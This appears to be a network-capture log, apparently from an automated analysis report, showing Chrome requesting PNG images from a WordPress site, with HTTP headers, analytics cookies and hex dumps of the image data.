2024-04-11 21:26:50 UTC	468	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 c2 00 00 00 31 08 06 00 00 00 88 e7 76 86 00 00 17 69 49 44 41 54 78 da ec 9a c7 4b 5e 5d 10 c6 fd 57 b2 49 42 7a ef d5 f4 4e 7a 16 21 9b 2c b2 49 b2 0b 59 a4 2c b2 0a 59 04 ec bd 17 5c 28 88 0a f6 de 7b ef a2 88 1b 05 77 a2 a2 a8 f3 f1 1b 18 30 7c e1 5e 41 82 f0 be e7 c0 c3 2d be 77 e6 9c 99 e7 99 39 f7 62 88 b8 e1 86 1b 12 22 6e b8 e1 86 13 82 1b 6e 30 42 d6 d6 d6 c4 c6 fa fa ba b8 e1 46 30 8c cd 5c 47 03 21 ab ab ab 62 63 7e 7e 5e 96 96 96 c4 0d 37 02 79 c0 71 b8 6e 03 0d 84 ac ac ac c8 c6 c6 86 2c 2f 2f cb d0 d0 90 62 60 60 c0 c1 21 60 61 3c 87 f3 70 1f 0d 58 47 90 c5 c5 45 69 6d 6d 95 da da 5a a9 a9 a9 71 70 08 58 c0 71 b8 0e e7 ad 23 d8 3b 82 aa a3 b9 b9 59 2a 2a 2a a4 be be de c1 21 60 01 c7 Data Ascii: PNGIHDR1viIDATxK^]WIBzNz!,IY,Y\({w0\|^A-w9b"nn0BF0\G!bc~~^7yqn,//b``!`a<pXGEimmZqpXq#;Y***!`
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 6f f5 63 39 2b 2f 2f d7 e3 f8 f8 38 cf 7b 02 5b d8 b1 75 60 1f 9b d8 e7 79 fe d6 dd dd 6d b6 89 15 95 da f0 af f9 47 ac 98 cb e6 8e b0 33 42 20 c8 04 88 63 69 69 29 7e f5 ba b0 b0 50 7e ff fe 2d c9 c9 c9 db 42 6a 6a aa 17 7c 9f 4f 4f 4f 97 a4 a4 24 3d cf cb cb 23 26 90 de b6 8e d6 35 11 b4 ae a1 ab ab 8b 23 bf 23 91 88 c7 de b5 ac 0a 41 0e 6c a8 ff b8 b8 38 4f 98 ef 9c 9c 1c c9 c8 c8 90 c8 c8 48 ee e9 b3 3f 7f fe 44 68 d8 07 c4 0e 71 e2 8b 18 ea fc 12 13 13 3d 11 1f 1f 8f 7d 3d 8f 89 89 91 e8 e8 68 fc ea 79 44 44 84 84 85 85 e1 03 52 b3 56 44 c0 39 e4 d5 df 26 24 24 78 02 bb cc 17 3f 51 51 51 12 1b 1b cb 7d 8e 6a fb c7 8f 1f c4 d5 0a 8d 91 d3 8a 45 f0 08 81 05 43 1e ce 49 e2 c8 c8 88 1e 3f 7d fa 24 27 4e 9c 90 33 67 ce 6c 0b 67 cf 9e f5 c2 96 9e 3f 77 ee Data Ascii: oc9+//8{[u`ymG3B cii)~P~-Bjj\|OOO$=#&5##Al8OH?Dhq=}=hyDDRVD9&$$x?QQQ}jECI?}$'N3glg?w
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 83 76 3e 08 5c 31 70 f7 6a 23 41 d3 c6 99 33 67 8c 41 3c 93 10 0c f1 c7 b6 6d db d0 07 1e cc 0d 97 77 3f 10 38 d7 b4 6d 8c b9 7d fa 2e 68 77 1d fe 6b d7 ae 11 64 6d 94 1e fd 47 81 d0 b1 44 6d 39 78 f7 ee dd 3f 23 08 b2 2e 52 a5 98 43 4c f0 f7 df 7f d3 6a 43 40 b9 75 eb d6 95 2d 5b b6 ac ec d8 b1 c3 64 32 cb 7e 0b 50 3d e3 1c a3 4c 02 57 04 2e 1a 1b c1 e1 df be 7d bb f7 11 6f b8 be 67 cf 1e f8 31 11 a1 40 c0 dc aa 7c e7 0f ac 4b f7 08 c8 5f 7f fd 85 89 08 f0 e0 b2 3c 7c f8 b0 ec 07 a6 1d e2 86 d3 a7 4f 13 22 7e 35 26 4c d8 58 be 59 41 20 64 fa b5 7f ff 7e 31 14 c5 41 fb c3 3b b8 47 4f 9e 3c 19 e6 f1 fc f9 f3 fa 48 e8 0b 4c 69 fb ff 1d 87 36 73 6b f4 c9 9c bb ee 5c 1b 98 5f 50 8c 41 b2 d6 e2 1a ca 28 6b 90 fb 9a eb 06 17 9c 80 a0 35 7f cd 8f f7 08 04 41 35 Data Ascii: v>\1pj#A3gA<mw?8m}.hwkdmGDm9x?#.RCLjC@u-[d2~P=LW.}og1@\|K_<\|O"~5&LXYA d~1A;GO<HLi6sk\_PA(k5A5
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 8c e1 c7 1f 7f 1c ae 5f b8 70 81 a5 41 f7 29 40 ef 84 83 60 14 27 9a 53 f7 ca c0 e9 a3 67 52 ce 3d b7 98 3f ab 6d 1a 7f ca 88 20 b8 c0 22 d4 38 06 5d 04 18 d0 a0 30 7d 38 1d 9b 08 4c 3f de e0 52 fa ee f0 e1 c3 2b 7f fe f9 e7 ac 20 30 dd d5 24 95 bd 40 08 da 4b a6 02 a3 5a c0 29 37 ae 3f 08 44 f8 64 4a 04 ba 16 91 10 8e 3f 7b ee dc 39 35 f2 c0 b9 54 a5 fb 02 3e a9 44 d7 05 97 ea 6f e0 22 bc 08 23 b3 85 48 da e4 8a c1 e5 3d 38 64 a4 c2 e9 5c ce 7f b8 7f e9 d2 25 bf bd 03 a4 48 e5 da 15 1e 7a c6 bb 70 c0 e7 9e 76 09 b0 7e 8f fb 38 09 62 15 96 0f 3e 6e d0 c9 93 27 8d 55 3c d0 be 74 34 31 e7 b2 44 9e 33 27 fa 67 cc 73 f8 3d a3 5f c6 42 b8 f4 4d 6a 97 75 cf 65 9c 02 73 d7 02 24 a1 cc 2d 6e cf 87 64 46 31 45 7b 41 d0 12 5d 4b f3 2e 82 d2 f2 78 3e 61 e0 1a 0d 3f Data Ascii: _pA)@`'SgR=?m "8]0}8L?R+ 0$@KZ)7?DdJ?{95T>Do"#H=8d\%Hzpv~8b>n'U<t41D3'gs=_BMjues$-ndF1E{A]K.x>a?
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 6e 56 6e 06 a1 63 81 d1 c6 dc 54 42 01 8a cd b2 6c 53 a0 1f 8d 0f 34 36 90 42 9a 02 cf 24 dc 2d 02 72 8d b8 44 25 09 64 b2 8c df 3c c0 9b db d7 a2 ea 22 d0 16 3c 68 da 5f 1f f8 92 ad 50 67 a2 a3 a4 7b 09 18 24 e6 c0 d4 80 a6 11 60 d1 50 02 14 56 42 5b 7c 5e f7 9a 5c e7 31 f5 12 88 50 31 3a 48 63 b7 c2 eb 9a 7e e6 4f b7 e0 c4 9d 90 d1 c8 5d 11 20 e7 57 4b 5d 62 c8 39 46 21 20 c5 2c da c4 70 88 88 a8 ea a7 b8 43 7d 71 8d ff 8e 51 25 2b 64 75 08 c9 6a f0 c3 5b 11 9e df 2d 3c 52 3a 02 e4 56 70 09 6f 59 1a c2 c7 cd 10 ff 60 46 b4 a9 96 a8 92 ed 8e 6b 09 da 34 ef 8d 81 05 13 44 9b 13 42 80 4f 04 d1 2d 68 e2 15 fc e4 3d 31 8f f9 5c 02 70 8a fd 64 c0 3e fa f6 a9 3f da 8f 2b 40 63 2f 01 84 c6 f0 5c 20 e6 b8 d5 64 e7 32 16 b4 55 01 6c 25 07 d5 fa b8 ee 7c 09 60 f0 Data Ascii: nVncTBlS46B$-rD%d<"<h_Pg{$`PVB[\|^\1P1:Hc~O] WK]b9F! ,pC}qQ%+duj[-<R:VpoY`Fk4DBO-h=1\pd>?+@c/\ d2Ul%\|`
2024-04-11 21:26:50 UTC	106	IN	Data Raw: e0 b3 ef 3f 65 cf 15 16 98 8f 05 a1 05 35 39 66 c2 c0 2f 5e 02 70 4c 81 67 36 60 7a fe d6 35 7c ee fd 27 04 32 6f 2a ae c7 82 50 0a 89 30 b0 0c 8e 4b 40 34 3e 05 9e d9 80 e9 f9 5b d7 f0 b9 f7 df 9a 99 e3 78 e9 60 d3 ca c6 df c6 df bf fc ef fd fb f7 2b ff 01 5f ed 59 6c bc 08 01 91 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: ?e59f/^pLg6`z5\|'2o*P0K@4>[x`+_YlIENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
169	192.168.2.17	49915	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1249	OUT	GET /wp-content/uploads/avatar2.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	922	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 18763 Connection: close CF-Ray: 872e0ea1bb7b0f55-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60dff68a-494b" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Sat, 03 Jul 2021 05:32:58 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=JG%2FBm97J%2BLNZ72cUt9UXzH%2Fb%2FEogg6zCkC6KG6dSQPifeI3lXO8pu%2Fk4LUiVw%2FbRh8qm%2BdQ%2B8A6xg%2FWDSHrk7N%2FRp6Wx9RA94ub8tntxiWrAuzwzhLd1jXbb%2BAxqYYk%2BuJU%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 75 00 00 00 73 08 06 00 00 00 a6 5d 4d a1 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 48 ed 49 44 41 54 78 da ec bd 79 90 5d e7 95 1f f6 fb ee 7d fb d2 fd 7a 41 37 01 10 44 03 24 b8 53 02 25 91 5a 46 a2 40 8f 6c 4b b2 a3 81 ec 71 4d 65 1c 5b 54 26 a9 94 ab 52 19 b1 e2 3f c6 19 27 a4 3c 89 32 93 4a 4a 9c 8a ab 26 15 db 21 35 65 8d 35 d2 68 48 4a 1a 2e c3 a1 08 8a 12 49 70 43 93 04 41 00 24 80 06 d0 0b 80 de 5e 6f 6f bb cb 97 73 ce f7 7d f7 de 07 52 b6 00 92 12 25 e3 51 4f af f1 96 fb ee bb e7 3b db ef fc ce f9 80 4b b7 4b b7 4b b7 4b b7 4b b7 4b b7 4b b7 4b b7 4b b7 b7 bd a9 5f b5 1f f4 fa d4 6b bb f3 f9 7c 23 8e 62 04 61 af 11 Data Ascii: PNGIHDRus]MtEXtSoftwareAdobe ImageReadyqe<HIDATxy]}zA7D$S%ZF@lKqMe[T&R?'<2JJ&!5e5hHJ.IpCA$^oos}R%QO;KKKKKKKKK_k\|#ba
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: b4 35 d1 4e d8 05 60 56 81 b2 d1 0f fb db 90 16 4f 10 70 3e 1b c9 e7 4d e2 03 0a ae 7a 9c d9 a0 d7 ea 62 61 f6 0c 26 9f 7d 1e 0f 7c fb 2f 40 c1 9b 39 4b 6d d2 29 d6 70 cf 9a 74 49 a8 b4 3c ee a1 a7 0e fc e4 c8 0b 77 ff 4a 47 bf 0f 3c f6 bd 89 42 a1 70 2f 5d 84 3d 89 b9 83 79 d4 9e 4e 94 45 ae bb e4 8e b1 fc 83 75 8c 2f f0 91 d7 8f e0 b9 a7 9f 93 e0 89 85 11 47 9a 02 16 63 56 59 fb 62 7a bf 92 68 d8 e6 a5 9e 59 15 5e ac 45 c0 bc 80 a2 d8 e8 ab 31 cd 61 9f 99 f2 29 67 95 68 9a 17 4b ac 12 cd e6 63 86 f4 9d 1b 24 f8 88 04 ff dc 33 cf e0 63 9f fa 14 72 14 35 f3 67 72 e4 73 5d 24 a6 b4 fb 54 a2 f7 77 3d fd e6 4b bf 41 ee e5 8b 1f df f9 c1 a9 5f 29 4d bd ef bb 7f ba 27 88 82 03 b1 24 f7 26 43 d0 ce 77 72 34 4a 17 8b a3 4c 06 0c e2 c0 20 40 1c 04 85 bd 2e ba 9d Data Ascii: 5N`VOp>Mzba&}\|/@9Km)ptI<wJG<Bp/]=yNEu/GcVYbzhY^E1a)ghKc$3cr5grs]$Tw=KA_)M'$&Cwr4JL @.
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 3f b7 1f 1b 6b 6b 22 bc 98 17 61 9c 06 6b b1 5b bc 71 68 17 73 68 16 74 1c 5b d7 13 ee 26 ad bd f7 7d 27 d4 a7 5e 7e ea eb f4 43 ef 10 c1 29 d8 95 ae 12 df 24 be 34 eb 3f d9 af 04 66 45 3b 66 82 7b 5c 59 59 41 b3 b9 42 2b bd 27 02 66 c1 70 4e ca 01 97 47 a6 58 80 a4 d8 95 de 0c c2 28 c2 a0 45 e4 4b 8a 62 e0 46 3f e7 c9 b9 48 e0 c3 41 0c 07 4e bc 50 58 f3 e8 7b b8 02 03 9b 8e 88 c6 d2 7b 73 9e f1 ad 39 3a 46 ce fe 3b cf 00 03 07 3a 62 ea 3d 53 b7 75 0b 96 8e 35 50 af e1 d8 d1 a3 38 f4 fa eb f2 7b 60 d3 34 f9 ed 76 11 9b 05 1c 5b e1 9a bb 8e cc c2 b6 cf ed 7d e8 f9 bf be f7 7d 23 d4 9f 1c 7c 9a 84 19 7f c5 01 01 72 8f 91 01 03 74 5f 50 a4 13 93 4b 42 8c 2c d5 84 1f 03 63 d2 ce 9e 39 23 66 58 52 17 5b 54 31 48 11 99 bb d0 5c 24 be d8 39 be f8 64 8e 0b 8a cd Data Ascii: ?kk"ak[qhsht[&}'^~C)$4?fE;f{\YYAB+'fpNGX(EKbF?HANPX{{s9:F;:b=Su5P8{`4v[}}#\|rt_PKB,c9#fXR[T1H\$9d
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 13 fe bf 9c 97 33 e9 4b ce 3c 76 b9 0c a7 b5 a4 33 6c 62 1b f5 12 b6 8c 0d a1 5e ce 53 b4 1b 9b 3a 26 23 46 b9 82 25 84 05 14 ec f0 b7 d4 e0 91 00 73 f9 1e aa 55 3e af 9a e4 94 4a 31 fd a4 46 26 b7 60 20 47 95 37 b8 b3 f0 81 f3 06 84 17 0c 98 61 be 1e 39 42 7a 5f de d8 c9 1c 99 e0 6a a9 88 91 46 1d 03 95 0d b4 a3 2e ba b4 78 f9 e2 f3 77 b2 6b 29 d0 79 d7 6a 35 13 61 0b 72 a5 2d d3 ca 2c 66 15 7b 99 a2 a3 59 3a ca 42 93 2a 09 98 8c 60 3d f3 ca 04 dd bf 42 4f dc fd 9e a6 34 7f f9 d8 fd 8d 30 8c 7e 37 1b b6 4b e8 1e 1a 10 c1 f8 52 9d 14 2a 75 7f c5 d8 fe c4 04 91 b3 39 ac 16 1f 1b c4 81 e0 a5 cb cd 65 31 63 4c eb 34 b5 52 4f cc 62 31 cf da 50 20 53 c9 27 4d d1 27 05 50 3e 05 31 1e 7d ce e7 bb e6 2a 48 24 6c 05 5f 31 db af 82 62 b9 8a 72 b5 8e da 20 05 55 83 Data Ascii: 3K<v3lb^S:&#F%sU>J1F&` G7a9Bz_jF.xwk)yj5ar-,f{Y:B`=BO40~7KRu9e1cL4ROb1P S'M'P>1}*H$l_1br U
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: e3 28 0f 74 6c de 3d 48 df b5 e3 72 e0 e0 f1 59 b4 ba 01 3a b4 58 ba 01 bb 84 a2 71 49 f4 ff 2d d2 e4 ca 60 2d 59 a0 7d 7c 21 c7 ad b2 65 c1 d8 70 55 e9 dc b4 98 69 31 14 ca d2 5c 5d 4e 9f d4 9d c5 d7 ee fd f7 0f 7d e3 ce ff ea f3 5f 6a be 63 a1 fe 87 ef de 7b 07 33 01 13 10 21 76 6c 40 49 a9 d3 55 18 47 69 98 6e 2c 58 e2 13 5d dd 52 5b 5a 8b 32 9c 6d 79 8c ed 7f 5c 7c e6 d7 cb b5 ba 01 c2 c9 c9 e4 68 01 ec d8 3c 8e 0f dd 78 03 ea 03 55 ac b7 57 71 fc d4 3c 66 cf 2c 22 a0 54 a4 50 5e a7 a8 d8 17 53 d6 23 9f 37 36 32 8a cb 1a 03 68 54 cb a8 57 8a 68 54 b8 e7 85 7d 65 4f 98 0e e9 37 02 4d 06 25 28 6d 62 01 2d af b5 28 da 0e 65 91 72 da 04 f2 cb ed 8d 35 5a 10 64 25 72 5c 8c 87 c0 94 e3 23 03 f8 c0 ae 2b d0 39 72 1a 67 56 3a 12 38 69 ce 67 69 21 b3 e9 ad 55 Data Ascii: (tl=HrY:XqI-`-Y}\|!epUi1\]N}_jc{3!vl@IUGin,X]R[Z2my\\|h<xUWq<f,"TP^S#762hTWhT}eO7M%(mb-(er5Zd%r\#+9rgV:8igi!U
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: 5b bc 59 ed bd 68 f0 81 a2 5e 9e 6f d0 50 50 7d c2 73 be 33 0b 40 ab 6c 60 90 80 d9 d6 63 26 ad 11 d6 87 40 25 2d 80 96 6f 22 c5 66 4a 20 30 40 fe a8 d0 24 0d 25 ad a8 92 5f ab 15 f3 12 81 32 f9 6b a8 5a 47 29 00 06 72 25 92 4b 44 79 a6 8f cf dc fe eb b8 6a fb 04 9a 0b 4b 08 57 d7 71 db 07 3e 84 eb 77 ed c2 40 83 82 1a 8a 44 15 e7 91 3e 1f c3 80 11 72 2e 6c 8e e9 fb 2b c5 aa 08 ba 5a ac e0 f6 db f6 e0 8a 2d 5b 4c e9 8f 4c ee f0 e8 10 66 cf 9d 91 22 79 40 c7 2d d0 cf 18 a9 57 31 58 2b 91 66 92 40 72 64 e6 4b 39 e3 23 c9 e4 37 28 62 be 8c 52 1e 9f 2b 37 c9 2c 0a 8b 9a 59 14 35 41 50 2d 8b d1 08 ca b0 21 18 85 e2 bb 44 c1 9c e6 d8 d4 cb 17 c2 9d e9 ac 93 f7 d8 d7 ff fa 89 fb f7 5c 9c a6 ea 78 8f b2 3d 2b 69 64 93 02 f5 ea fc de 0d 37 43 41 a7 45 df 44 43 93 Data Ascii: [Yh^oPP}s3@l`c&@%-o"fJ 0@$%_2kZG)r%KDyjKWq>w@D>r.l+Z-[LLf"y@-W1X+f@rdK9#7(bR+7,Y5AP-!D\x=+id7CAEDC
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: a9 a5 b1 60 f9 d2 46 aa 44 cf f7 e8 6b 02 0b ae 43 3a d8 3c fa de ee 3a 8f 02 3a 8b 1d 57 5c 81 ca d0 10 05 6f e4 14 2c 76 6b 04 e9 18 93 2a 49 4d b2 c1 a5 0b 1c b3 bd 42 26 29 d0 09 bd 3b 45 e4 d2 76 4a fb c7 85 09 55 3a d7 74 3f a7 48 67 92 62 6d 91 a5 84 81 67 2b 37 a6 81 c8 56 f1 55 7f be a4 32 9d e4 7d d1 33 9b 97 b8 80 0d fa 73 9d d2 82 3c f9 d0 76 a0 c9 17 96 49 45 5b 86 f3 c3 7a 2e 66 2a 67 34 52 e8 28 64 5e 3d e9 f4 b5 85 6f 2e 76 1b ed 08 a3 80 6d 1b f9 38 d2 6c 12 98 c4 48 c2 a8 57 02 32 b0 16 32 34 c9 32 8e 03 26 8d 79 22 58 4f a2 64 f2 85 9e 81 08 a5 35 83 4d 76 a7 83 28 30 f9 39 47 bb 74 4a 72 71 79 ec 4e 9c e7 e3 53 8a 34 3c 86 a0 50 11 e2 78 ec 94 c0 73 45 70 cb 30 b4 14 96 ac 80 1c 9e 93 92 f3 7c eb a6 6c a9 2e 93 f7 7b 19 5a 90 19 b7 70 Data Ascii: `FDkC:<::W\o,vkIMB&);EvJU:t?Hgbmg+7VU2}3s<vIE[z.fg4R(d^=o.vm8lHW2242&y"XOd5Mv(09GtJrqyNS4<PxsEp0\|l.{Zp
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: bb a0 b5 9b 1b a5 52 70 54 65 02 ce 6c 8c 82 4c 77 ea f9 a3 7e 1c c9 2d 99 35 e5 aa 5c 3a fa 69 08 d0 7f d4 a7 02 49 ef a4 9d 4e 62 4d 85 67 c0 1a 99 33 9f 90 59 dc 20 47 ab c5 91 9d ed a7 b2 a6 fb 6d 58 0f 49 dd d5 0a 95 5b 1c 58 80 1d f2 57 55 7e 2e 24 3f 4b 7f 33 81 9b 89 d9 79 ee a1 f1 4c 0b 62 b7 d5 c2 ca f2 32 96 56 96 51 ac d4 28 4a 8e 29 6a ee 48 24 cd 18 4e a0 73 c2 63 f2 8a 65 ac ae ac a3 45 5a c8 e7 51 a0 28 95 fb 76 e2 9c e1 16 ad 53 6e cb 11 67 c4 e4 6c f2 a7 1b ab 2b b4 ae 0a 32 f7 48 78 4d 3c b6 00 86 19 91 f3 8c 60 bb 9d 0d 74 c8 97 8f 8e 6e 92 42 41 a4 2c 5f cb 4b 67 5c a8 f3 90 b6 b7 34 a0 48 da a7 ce 4f f0 d2 22 87 23 af d9 6c c3 04 8c 3a 43 3c d0 17 26 d4 c4 91 b3 da 4b f7 b3 9b 90 63 d1 1a 15 f6 0d 8d 8a 4d 7f 85 44 a2 9e 4b 55 ec ac Data Ascii: RpTelLw~-5\:iINbMg3Y GmXI[XWU~.$?K3yLb2VQ(J)jH$NsceEZQ(vSngl+2HxM<`tnBA,_Kg\4HO"#l:C<&KcMDKU
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: ed 4b 3d 65 a3 63 cf 5e 06 6b fa b9 ec c6 ad 83 a1 5d ae 8c ab e6 e9 5e 62 2f 13 98 be 1d 0e 62 02 7a bd 4d 5a 58 a6 7f fb 15 32 7d 3d 1e fa d8 23 17 df 11 26 03 0f d5 72 3b 4c 09 3a c3 cd 57 cc 39 2a e6 49 0b 3d 99 5b d8 0b f8 38 0a 05 f2 d3 1c 34 f1 4e 17 7c f1 49 cc 66 db 31 ce 4f f3 66 b6 7f c8 51 31 a5 57 a1 8a ed 88 80 cc 10 0e 6b b5 a4 4f 55 65 db 4d 2c 0f cf a2 49 11 dc 6c e1 9c c9 d5 ed 10 4d e7 76 92 c6 28 db 81 27 e2 56 99 e0 06 b8 30 a1 fe d6 df ff ed c9 6f ff e0 9b 29 d3 e2 bc 69 23 c8 5a 5f 65 db 02 d2 2e cc 3e d4 5e b9 bd d5 92 95 ab 32 8b 44 25 75 44 2f db 45 e7 ac af 32 7b c1 f0 05 69 69 99 7c 84 a2 ad dd 16 ac a1 ce 15 ab 64 05 29 d5 20 df b9 41 79 6a cd ab 18 fa 8a df c5 da ea 2a d6 37 5a d2 5b 2a 6d 94 cc 7e 60 14 89 72 d7 2a a5 2c 45 Data Ascii: K=ec^k]^b/bzMZX2}=#&r;L:W9I=[84N\|If1OfQ1WkOUeM,IlMv('V0o)i#Z_e.>^2D%uD/E2{ii\|d) Ayj7Z[m~`r,E
2024-04-11 21:26:50 UTC	1369	IN	Data Raw: f3 91 dc 00 65 99 d5 14 f1 c4 95 16 fd 3e 5f 1a 9d 3a 64 5e 3b 3c 85 b4 dd 13 27 c7 4d c9 ac 3d cc ed ad 72 01 bf 48 11 75 7d 1c 23 db 6f 40 ae d4 20 8d cb 63 7e 66 0e 4f fd f0 87 f8 c2 3f f8 cd f3 76 bf ca 8c dc b1 ee 24 21 66 3b 4e 92 1d a5 20 9b 40 d8 19 4e 9e 10 9d 7c f9 8c b6 55 12 51 50 66 b9 f1 df da 74 d7 eb 38 7a e0 1d 35 1d 93 f9 7d 50 f3 10 0f 95 61 11 66 06 3b 65 77 9a 71 d4 45 97 a7 65 9b a5 b2 5b 80 b8 ea 8d 2b d3 19 d3 e4 25 e6 37 d9 41 91 e7 35 08 8b c0 47 32 29 df cd 42 a0 f7 b4 b9 5e 4a d1 ee 50 7d 80 fc 62 0f 1b ed 35 ac 07 6d e9 2f cd db e1 95 21 09 8b 85 ca e3 5a 45 a8 f6 6c 65 13 03 8a 76 e4 77 a9 2e 56 d7 db a2 11 5c 78 8f 5a 2d 59 3e d5 0a f7 ca 78 a8 16 aa f0 ab c3 18 de 79 0d 1a 57 ec 24 fd f6 31 3d 3d c3 e5 1b bc bc ff 45 0c 0c Data Ascii: e>_:d^;<'M=rHu}#o@ c~fO?v$!f;N @N\|UQPft8z5}Paf;ewqEe[+%7A5G2)B^JP}b5m/!ZElevw.V\xZ-Y>xyW$1==E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
170	192.168.2.17	49916	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:49 UTC	1012	OUT	GET /wp-content/uploads/FUJITSU.png HTTP/1.1 Host: earnandexcel.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; _ga_NLTTYMX3TH=GS1.1.1712870801.1.0.1712870801.0.0.0; _ga_37L88V1J5W=GS1.1.1712870801.1.0.1712870801.0.0.0; _gcl_au=1.1.67825169.1712870802; _gid=GA1.2.837219450.1712870803; _gat=1; _gat_UA-190016353-1=1; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}%2C%22s2sVersionGroup%22:{%22version%22:%22production%22%2C%22name%22:%22production%22}}; _ga_8Y0K4MPJV5=GS1.1.1712870807.1.0.1712870807.60.0.0; _ga=GA1.1.668614997.1712870801; _scid=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c; _scid_r=c8c2f753-ddcb-43fa-b528-d1ccbc9ce17c
2024-04-11 21:26:50 UTC	905	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:50 GMT Content-Type: image/png Content-Length: 7322 Connection: close CF-Ray: 872e0ea26a0b42c0-EWR CF-Cache-Status: DYNAMIC Accept-Ranges: bytes Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: "60df32f1-1c9a" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 15:38:25 GMT ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=tndZZaXw7f6TLskdOaRAXoqvwX%2FlOhdojPticL7S3NB7e9JpRc5QG2fF5gA0Vezkpg5Yscep%2Be1hrmZqN7f6sCubwVb%2Fn0DsTfp8wHFJHEqvSg9b4MmffXSJG%2FX90jJw1fw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:50 UTC	464	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 cd 00 00 00 57 08 06 00 00 00 a7 41 c1 4c 00 00 1c 61 49 44 41 54 78 da ec 9c d7 4b 1d 5b 14 c6 f3 f7 84 24 a4 f7 de 7b 23 21 22 2a 22 a2 62 47 50 f0 c5 82 82 0d 44 7c b0 2b 76 b1 23 82 15 ec f8 20 82 05 bb 82 a2 22 f6 de db ba 7c 8b bb 60 d8 b6 2b 37 26 23 ec 0f 36 67 da 99 73 0e b3 7f 67 d5 99 0b a4 75 66 da dd dd 25 a3 56 56 56 68 6f 6f 8f b6 b6 b6 c8 b8 6f 7d 7d 9d 36 36 36 e8 30 e1 78 1c bb bf bf 4f 5a e6 d0 05 d2 3a 53 ed ec ec 18 01 61 08 44 00 01 eb 27 01 81 63 70 9e ed ed 6d d2 3a 56 1a 9a f3 2a 4c 72 4c 70 15 06 ac 6f 6e 6e 